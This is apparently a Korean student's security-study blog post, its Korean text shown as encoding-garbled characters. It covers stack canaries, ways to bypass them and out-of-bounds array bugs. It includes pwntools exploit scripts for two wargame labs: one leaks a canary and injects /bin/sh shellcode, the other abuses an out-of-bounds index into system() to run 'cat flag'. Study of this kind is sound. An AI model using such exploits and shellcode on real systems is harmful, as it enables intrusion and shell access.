estherseo
JINIWAY
estherseo
์ „์ฒด ๋ฐฉ๋ฌธ์ž
์˜ค๋Š˜
์–ด์ œ
  • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ
    • ์ „๊ณต๊ณต๋ถ€
    • CS
      • Network
      • Algorithm
      • ๐Ÿ“–
      • python
      • django
    • Pentest
      • ๐Ÿ“–
      • HTB
      • Machines
    • Web-hacking
      • ๐Ÿ“–
      • Dreamhack
      • Portswigger
    • System-hacking
      • ๐Ÿ“–
    • Mobile-hacking
    • Project
    • CVE
    • CTF
    • News & Conference
    • ์ž๊ฒฉ์ฆ
    • ์‹ ๊ธฐ์ˆ 
      • AI

๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

  • ํ™ˆ
  • ํƒœ๊ทธ
  • ๋ฐฉ๋ช…๋ก
  • ๋ธ”๋กœ๊ทธ ์†Œ๊ฐœ

์ธ๊ธฐ ๊ธ€

์ตœ๊ทผ ๋Œ“๊ธ€

์ตœ๊ทผ ๊ธ€

ํƒœ๊ทธ

  • jwt token last character
  • HTB valentine
  • CTF๊ณต๋ถ€
  • ASC์Šคํ„ฐ๋””
  • HTB shocker
  • shocker
  • ํ™”์ดํŠธํ–‡ํˆฌ๊ฒŒ๋”1๊ธฐ ๊ฒฐ๊ณผ๊ณต์œ ํšŒ
  • ์…ธ์‡ผํฌ
  • ์ค‘์†Œ๊ธฐ์—… ์ •๋ณด๋ณดํ˜ธ
  • ์Šคํƒ์นด๋‚˜๋ฆฌ
  • asc
  • ํŒจํ‚ท์žก๊ธฐ
  • Pillow์ทจ์•ฝ์ 
  • ํ™”์ดํŠธํ–‡ํˆฌ๊ฒŒ๋”
  • 2022 ๋„คํŠธ์›Œํฌ๊ด€๋ฆฌ์‚ฌ
  • ํ™”์ดํŠธํ–‡ํˆฌ๊ฒŒ๋”1๊ธฐ
  • ์‹œ์Šคํ…œํ•ดํ‚น ์Šคํ„ฐ๋””
  • ๋„คํŠธ์›Œํฌ๊ด€๋ฆฌ์‚ฌ ์‹ค๊ธฐ ํ•ฉ๊ฒฉ
  • ๊ธฐ์‚ฌ์š”์•ฝ
  • ์„ธ๊ณ„์‹ ์•ˆ๋ณดํฌ๋Ÿผ
  • pox2022
  • ASC ์Šคํ„ฐ๋””
  • n00bCTF
  • ๋‹คํฌ์›น ๋ชจ๋‹ˆํ„ฐ๋ง
  • integer overflow
  • ๋‹คํฌ์›น ๋ชจ๋‹ˆํ„ฐ๋ง ์„œ๋น„์Šค
  • 2022 pox
  • ์‹œ์Šคํ…œํ•ดํ‚น๊ณต๋ถ€
  • python eval
  • CVE-2022-22817
hELLO ยท Designed By ์ •์ƒ์šฐ.
estherseo

JINIWAY

[ASC ์Šคํ„ฐ๋””] 8์ฃผ์ฐจ - Stack Canary + Out Of Boundary
System-hacking/๐Ÿ“–

[ASC ์Šคํ„ฐ๋””] 8์ฃผ์ฐจ - Stack Canary + Out Of Boundary

2022. 8. 19. 15:53

๐Ÿ‘‰ ์ง€๋‚œ ์ฐจ์‹œ

2022.07.30 - [System-hacking/๐Ÿ“–] - [ASC ์Šคํ„ฐ๋””] 7์ฃผ์ฐจ - Stack Buffer Overflow ๋ฌธ์ œ ํ’€์ด, Integer Overflow

 

( 2์ฃผ์น˜ ๋ฐ€๋ ค์„œ ๋ถ€๋žด๋ถ€๋žด ์“ฐ๋Š”์ค‘... )

1. Stack Canary

์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ง‰๊ธฐ ์œ„ํ•œ ๊ธฐ๋ฒ•์ด๋‹ค. ( SFP์™€ RET ๊ฐ’์ด ๋ณ€์กฐ ๋˜๋Š” ๊ฒƒ์„ ๋ง‰๋Š”๋‹ค. )

Buffer์™€ SFP ์‚ฌ์ด์— ๋žœ๋คํ•œ 4 or 8 ๋ฐ”์ดํŠธ์˜ Canary ๊ฐ’์ด ์‚ฝ์ž…๋œ๋‹ค.

ํ•จ์ˆ˜ ์ง„์ž…์‹œ ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ์„ค์ •ํ•˜๊ณ , ํ•จ์ˆ˜ ์ข…๋ฃŒ์‹œ ์นด๋‚˜๋ฆฌ ๊ฐ’์ด ๋ณ€์กฐ ๋๋Š”์ง€ ํ™•์ธํ•œ๋‹ค. 

( ์นด๋‚˜๋ฆฌ ๊ฐ’์ด ๋ณ€์กฐ๋๋‹ค๋ฉด __stack_check_fail ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ํ”„๋กœ๊ทธ๋žจ์ด ์ข…๋ฃŒ๋œ๋‹ค. )

 

์ปดํŒŒ์ผ ๋ฐฉ๋ฒ• :

์นด๋‚˜๋ฆฌ ํ•ด์ œ : -fno-stack-protector

์นด๋‚˜๋ฆฌ ์„ค์ • : -fstack-protector

 

์šฐํšŒ ๋ฐฉ๋ฒ• :

(1) ์นด๋‚˜๋ฆฌ ๊ฐ’์ด ๊ณ ์ •์ธ ๊ฒฝ์šฐ Brute Force

์นด๋‚˜๋ฆฌ ๊ฐ’์„ ํŠน์ • ํŒŒ์ผ์—์„œ ์ฝ์–ด์„œ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ fork๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์นด๋‚˜๋ฆฌ ๊ฐ’์ด ๊ณ ์ •๋˜์–ด์žˆ๋‹ค.

 

(2) ์นด๋‚˜๋ฆฌ ๊ฐ’ ์œ ์ถœ

๋ฒ„ํผ๋ฅผ ์นด๋‚˜๋ฆฌ ์ „๊นŒ์ง€ ์ฑ„์›Œ์„œ ํ•ด๋‹น ๋ฒ„ํผ๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์นด๋‚˜๋ฆฌ ๊ฐ’์ด ๋ถ™์–ด์„œ ๊ฐ™์ด ์ถœ๋ ฅ๋œ๋‹ค.

 

(3) pthread ํ•จ์ˆ˜๋กœ ์‹คํ–‰๋œ ํ•จ์ˆ˜ ๋‚ด๋ถ€์˜ ์นด๋‚˜๋ฆฌ

์Šคํƒ ํ•˜๋‹จ์— ์นด๋‚˜๋ฆฌ ๊ฐ’์œผ๋กœ ๋น„๊ตํ•˜๋Š” ๊ฐ’์ด ์žˆ๋Š”๋ฐ ํ•ด๋‹น ๊ฐ’์„ ๋ฎ์–ด์“ด๋‹ค๋ฉด ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

(4) scanf("%d", buf[i]);

scanf๋กœ ์นด๋‚˜๋ฆฌ ๊ณต๊ฐ„์„ ์ž…๋ ฅ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด '+'๋‚˜ '-'๋ฅผ ์ž…๋ ฅํ•ด ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ๋ฎ์ง€ ์•Š๊ณ  ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

๋ฒ„ํผ์— ๊ฐ’์„ ์•ˆ ์“ฐ๊ณ  RET๋ฅผ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค.

 

์นด๋‚˜๋ฆฌ ํ™•์ธ ๋ฐฉ๋ฒ• :

 

2. Stack Canary ์‹ค์Šต ๋ฌธ์ œ ํ’€์ด

๋ฌธ์ œ ํ’€์ด1 : leak_canary

๋™์ž‘

checksec leak_canary

์นด๋‚˜๋ฆฌ ์กด์žฌ
fs:0x28์—์„œ ์นด๋‚˜๋ฆฌ๊ฐ’์„ ๋ณต์‚ฌํ•ด์„œ rbp-0x8 ์œ„์น˜์— ๋„ฃ์–ด์ค€๋‹ค.
๋ฆฌํ„ด ์ „์— ์นด๋‚˜๋ฆฌ ๋ณ€์กฐ๋๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์žˆ๋‹ค.

  • ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ

๋ฒ„ํผ์˜ ํฌ๊ธฐ๋Š” 0x70 ?
puts๋กœ ๋ฒ„ํผ๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๊ณ  ์žˆ๋Š”๋ฐ, puts๋Š” ๋„๋ฌธ์ž ์ „๊นŒ์ง€ ์ถœ๋ ฅํ•ด์ค€๋‹ค.
๋ฒ„ํผ์˜ ํฌ๊ธฐ 0x70์—์„œ ๋งจ ๋งˆ์ง€๋ง‰ 0x8๋งŒํผ ์นด๋‚˜๋ฆฌ๊ฐ€ ์žˆ์„๊ฑฐ๋‹ˆ๊นŒ 0x70-0x8-1๋งŒํผ A๋ฅผ ๋งŒ๋“ค์–ด์„œ ๋ณด๋ƒˆ๋‹ค. ์ด์ƒํ•œ ๊ฐ’์ด ๊ฐ™์ด ๋”ธ๋ ค์„œ ์ถœ๋ ฅ๋œ๋‹ค. ์•„๋งˆ ์นด๋‚˜๋ฆฌ ๊ฐ’.

  • ์ต์Šคํ”Œ๋กœ์ž‡
from pwn import *

e = ELF('./leak_canary')
p = process('./leak_canary')

buf = int(p.recvline().split(b' ')[-1], 16)
print('buf : {}'.format(hex(buf)))

# canary leak
p.sendafter(b'MSG : ', b'A'*105)
p.recvuntil(b'A'*105)
canary = u64(b'\x00' + p.recv(7))
print(hex(canary))

p.sendlineafter(b'quit?', b'n')

pay = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'

pay += b'A'*(104-len(pay))
pay += p64(canary)
pay += p64(0)
pay += p64(buf)
p.sendafter(b'MSG : ', pay) 

p.interactive()

 

๋ฌธ์ œ ํ’€์ด2 : Bypass Canary v2

plt, got ๊ฐœ๋…์„ ์•Œ์•„์•ผ ํ’€ ์ˆ˜ ์žˆ๋‹ค ! ๋’ค์—์„œ ๊ณต๋ถ€ํ•˜๊ณ  ๋‚˜์„œ ํ’€์–ด๋ณด์ž.

 

2. Out Of Boundary (OOB)

๋ฒ„ํผ์˜ ๊ธธ์ด ๋ฒ”์œ„๋ฅผ ๋ฒ—์–ด๋‚˜๋Š” ์ธ๋ฑ์Šค์— ์ ‘๊ทผํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์ด๋‹ค.

OOB ์ทจ์•ฝ์ ์„ ๋ง‰๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ธ๋ฑ์Šค ๋ฒ”์œ„ ๊ฒ€์‚ฌ๋ฅผ ํ•ด์•ผํ•œ๋‹ค.

 

์ทจ์•ฝํ•œ ์ฝ”๋“œ

#include <stdio.h>
int main()
{
	int b = 10;
    int a[4];
    
    printf("Before B : %d\n", b);
    a[-9] = 20;
    printf("After B : %d", b);
}

-----------------------------------------------------๊ฒฐ ๊ณผ-----------------------------------------------------

Before B : 10

After B : 20

-----------------------------------------------------๋ถ„ ์„-----------------------------------------------------

A : 000000F178AFF848

B : 000000F178AFF824

A์™€ B์˜ ์ฃผ์†Œ ์ฐจ์ด๋Š” 0x24 = 36 ์ด๋‹ค. 

 

a[-9]๋Š” a๋ฐฐ์—ด ์ฃผ์†Œ์ธ 000000F178AFF848์—์„œ 4*9=36 = 0x24 ๋งŒํผ ๋บ€ ๊ณณ์ด๋‹ค.

000000F178AFF848 - 0x24 = 000000F178AFF824 = B์˜ ์ฃผ์†Œ

๋”ฐ๋ผ์„œ B์˜ ๊ฐ’์„ 20์œผ๋กœ ๋ฐ”๊ฟ”๋ฒ„๋ฆฌ๊ณ  b๋Š” 20์ด ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

 

๋ฌธ์ œ ํ’€์ด : out_of_bound (๋“œ๋ฆผํ•ต)

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

char name[16]์— name์„ ์ž…๋ ฅ๋ฐ›๊ณ ,

int idx์— ์ˆซ์ž๋ฅผ ์ž…๋ ฅ๋ฐ›๊ณ ,

systemํ•จ์ˆ˜๋กœ command[idx]๋ฅผ ๋„ฃ์–ด์„œ ์‹คํ–‰์‹œํ‚จ๋‹ค.

 

์ทจ์•ฝํ•œ ๋ถ€๋ถ„ :  int ๋ฒ”์œ„์—์„œ ๋ฐ›์•„์„œ oob๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡ : 

1. name ๋ฐฐ์—ด์— cat flag๋ฅผ ๋„ฃ๊ณ 

2. OOB๋ฅผ ์ด์šฉํ•ด์„œ name ๋ฐฐ์—ด์˜ ์œ„์น˜๋ฅผ ์ฐธ์กฐํ•˜๊ฒŒ ํ•œ๋‹ค.

3. system(name๋ฐฐ์—ด์ฃผ์†Œ) = system('cat flag') ์‹คํ–‰

 

๊ทธ๋Ÿผ ์•Œ์•„์•ผ ํ• ๊ฒƒ์€ name ๋ฐฐ์—ด์˜ ์ฃผ์†Œ์™€ idx ์ž…๋ ฅํ•˜๋Š” ๊ณณ์˜ ์ฃผ์†Œ์ด๋‹ค.

gdb๋กœ breakpoint๊ฑธ๊ณ  ๋ณด๋ฉด,

name
command

๋‘ ์ฃผ์†Œ์˜ ์ฐจ์ด๋Š” 76์ด๊ณ  ํฌ์ธํ„ฐ๋Š” 4๋ฐ”์ดํŠธ ํฌ๊ธฐ๋‹ˆ๊นŒ 76 / 4 = 19  

command[19]๋กœ ๊ฐ€๋ฉด name[0]์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.

from pwn import *

p = remote("host3.dreamhack.games", 9969)

name = 0x804a0ac
command = 0x804a060

pay = p32(0x804a0ac+4) #name
pay += b"cat flag"

p.sendafter(b"name:", pay)

p.sendlineafter(b'want?:', str(19))

p.interactive()

 

 

 

โญ๊ณต๋ถ€ํ•  ๊ฒƒ๋“ค

1. ๋“œ๋ฆผํ•ต Stack Canary ๋กœ๋“œ๋งต, Master Canary ๋กœ๋“œ๋งต

2. ์นด๋‚˜๋ฆฌ ๋ฌธ์ œ๋“ค - ํ•™๊ธฐ์ค‘์—

 

 

 


ASC ์‹œ์Šคํ…œํ•ดํ‚น ์Šคํ„ฐ๋””

 

'System-hacking > ๐Ÿ“–' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[ASC ์Šคํ„ฐ๋””] 9์ฃผ์ฐจ - Return to Library(RTL)  (0) 2022.08.25
[ASC ์Šคํ„ฐ๋””] 7์ฃผ์ฐจ - Stack Buffer Overflow ๋ฌธ์ œ ํ’€์ด, Integer Overflow  (0) 2022.07.30
[ASC ์Šคํ„ฐ๋””] 6์ฃผ์ฐจ - ํ•จ์ˆ˜์˜ ์Šคํƒ ํ”„๋ ˆ์ž„, ๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ๊ธฐ๋ฒ•, Stack Buffer Overflow  (0) 2022.07.23
[ASC ์Šคํ„ฐ๋””] 5์ฃผ์ฐจ - ์—ฐ์Šต๋ฌธ์ œ ํ’€์ด, GDB, IDA, Pwntools ์‚ฌ์šฉ๋ฒ•  (0) 2022.07.07
[ASC ์Šคํ„ฐ๋””] 4์ฃผ์ฐจ - ๋ ˆ์ง€์Šคํ„ฐ, ์–ด์…ˆ๋ธ”๋ฆฌ, ์—ฐ์Šต๋ฌธ์ œ, GDB ์‚ฌ์šฉ๋ฒ•  (0) 2022.06.27
    'System-hacking/๐Ÿ“–' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
    • [ASC ์Šคํ„ฐ๋””] 9์ฃผ์ฐจ - Return to Library(RTL)
    • [ASC ์Šคํ„ฐ๋””] 7์ฃผ์ฐจ - Stack Buffer Overflow ๋ฌธ์ œ ํ’€์ด, Integer Overflow
    • [ASC ์Šคํ„ฐ๋””] 6์ฃผ์ฐจ - ํ•จ์ˆ˜์˜ ์Šคํƒ ํ”„๋ ˆ์ž„, ๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ๊ธฐ๋ฒ•, Stack Buffer Overflow
    • [ASC ์Šคํ„ฐ๋””] 5์ฃผ์ฐจ - ์—ฐ์Šต๋ฌธ์ œ ํ’€์ด, GDB, IDA, Pwntools ์‚ฌ์šฉ๋ฒ•
    estherseo
    estherseo
    ์•ˆ๋…•ํ•˜์„ธ์š”๐Ÿ˜€

    ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”